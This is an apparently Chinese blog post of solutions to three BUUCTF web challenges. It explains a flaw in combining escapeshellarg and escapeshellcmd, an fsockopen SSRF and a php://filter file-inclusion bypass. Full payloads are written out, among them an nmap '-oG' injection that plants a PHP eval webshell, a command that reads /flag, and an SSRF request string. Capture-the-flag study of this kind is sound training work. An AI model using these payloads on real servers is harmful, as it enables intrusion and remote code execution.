BUUCTF刷题记录

 [BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

首先,它从GET请求中获取名为"host"的参数,并将其赋值给变量$host。

接下来,代码使用escapeshellarg()函数对$host进行转义,以防止命令注入攻击。这个函数会在字符串的开头和结尾添加单引号,会将其中的单引号字符'加一个转义符,再加上一对单引号进行链接单,转义为'\''

然后,代码使用escapeshellcmd()函数对host进行更严格的过滤。这个函数会删除字符串中的一些特殊字符,包括`\0`、`\n`、`\r`、`\t`、`\`、`;`、`|`、`&`和``,防止恶意用户利用这些特殊字符执行任意的Shell命令。(所以&&和||这些是用不了了)

接下来,代码生成一个唯一的沙盒目录名。它使用md5()函数生成一个哈希值,结合字符串"glzjin"和客户端的IP地址(通过$_SERVER['REMOTE_ADDR']获取),以确保沙盒目录名的唯一性。(生成目录名)

然后,代码使用mkdir()函数创建了一个以沙盒目录名为名称的目录。如果目录已存在,则会返回警告,使用@符号可以抑制这个警告。(生成目录)

通过chdir()函数将当前目录切换到沙盒目录。

最后,代码使用system()函数执行了一个Nmap命令,扫描目标主机。Nmap命令的参数包括一些选项(如-T5-sT-Pn--host-timeout 2-F)以及$host变量(经过转义和过滤后的)。

扫描结果通过echo语句输出到浏览器。

第一个if语句没有else,影响不大,第二个if语句用了escapeshellarg和escapeshellcmd函数进行过滤,但是这两个函数共同使用时就会产生逻辑漏洞;这里用的是nmap命令。可以使用nmap的写文件功能写入一句话木马或者利用system来RCE,Nmap命令行中加入“-oG <filename>”选项,则Nmap会将扫描结果写入到指定的文件中,而不是在终端输出。

构造payload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

把这串东西拼接到靶场地址后面,蚁剑链接http://靶场地址/沙箱地址/hack.php

蚁剑链接flag在根目录下

直接RCE:

?host=' <?php echo `cat /flag`;?> -oG a.php '

 然后访问沙县目录下的a.php

相关文章:

PHP escapeshellarg()+escapeshellcmd() 之殇

BUUCTF [BUUCTF 2018] Online Tool_buuctf 2018 web 在线工具-CSDN博客

[HNCTF 2022 WEEK2]ez_ssrf

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。

手写127.0.0.1请求头格式构建一个 HTTP GET 请求,请求的目标地址是 127.0.0.1 上的 flag.php 文件,然后base64编码

GET /flag.php HTTP/1.1

Host: 127.0.0.1

Connection: Close

Payload:

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

相关文章:

https://www.cnblogs.com/xuey/p/8463009.html

[BSidesCF 2020]Had a bad day

点击按钮可以看猫狗图片,由category参数后的文件名控制,但是无法直接读取flag文件或者index文件,这里尝试伪协议读取index.php文件:

/?category=php://filter/read=convert.base64-encode/resource=index

 查看源码再复制

解码后看见关键代码:

              <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

代码从GET请求中获取名为"category"的参数,并将其赋值给变量$file,接下来代码检查$file变量是否已设置。如果已设置,则继续执行。否则,代码不会执行任何操作。

然后,代码使用strpos()函数检查file变量是否包含“woofers”、“meowers”或“index”子字符串。如果包含其中之一,则通过include()函数加载相应的PHP文件。例如,如果file的值为“woofers”,则代码将加载woofers.php文件。如果$file的值不包含这些子字符串,则代码返回一个错误消息,指示当前仅支持woofers和meowers分类。

payload:

/?category=php://filter/read=convert.base64-encode/woofers/resource=flag

在路径字符串中使用php://filter/read=convert.base64-encode/woofers/resource=flag时,woofers被包含在字符串中,因此会触发条件语句执行文件包含命令。由于这个路径中使用了php://filter伪协议,因此include语句会尝试将以Base64编码形式返回的flag.php文件内容解码,并将其作为PHP代码执行,读取的实际上是根目录下的flag.php文件

  • 20
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTF】buuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值